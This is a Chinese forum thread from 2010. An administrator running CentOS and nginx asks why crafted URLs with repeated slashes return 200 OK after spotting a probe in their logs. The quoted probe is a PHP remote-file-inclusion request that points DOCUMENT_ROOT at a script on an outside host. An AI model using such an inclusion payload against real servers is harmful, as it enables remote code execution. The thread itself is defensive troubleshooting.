电梯直达

1楼 [收藏(0)] [报告]

发表于 2010-07-01 12:36 |只看该作者 |倒序浏览

发现有人这样扫我服务器:
http://site.com////////?_SERVER[DOCUMENT_ROOT]=http://phamsight.com/docs/images/head??
而我服务器竟然错误地给出了200 OK,显然这是个漏洞利用木马,因为我没开php所以暂时没事,但我测试了下:
http://site.com/////////// 200 OK
http://site.com///////////?fffffffffwwwwww 200 OK
http://site.com/?fffffffffwwwwww 200 OK
http://site.com///////////fffffffffwwwwww 404 Not Found
http://site.com/fffffffffwwwwww 404 Not Found
以上200 OK实际都是不存在的,我平台为centos 5.5 + nginx 0.765, 哪位知道毛病出在哪?漏洞还是我配置的有问题?

2楼 [报告]

发表于 2010-07-01 12:51 |只看该作者

我上面所说的site.com是我网站的代称,但实际上真正的site.com也是存在的,而且我扫了一下这个站,结果竟然和我站的扫面结果完全一样!!!晕了
而他的环境是Windows Server 2003 + Microsoft-IIS/6.0
各位不妨也扫下自己的

[Web] 这是不是nginx的一个URL处理漏洞? [复制链接]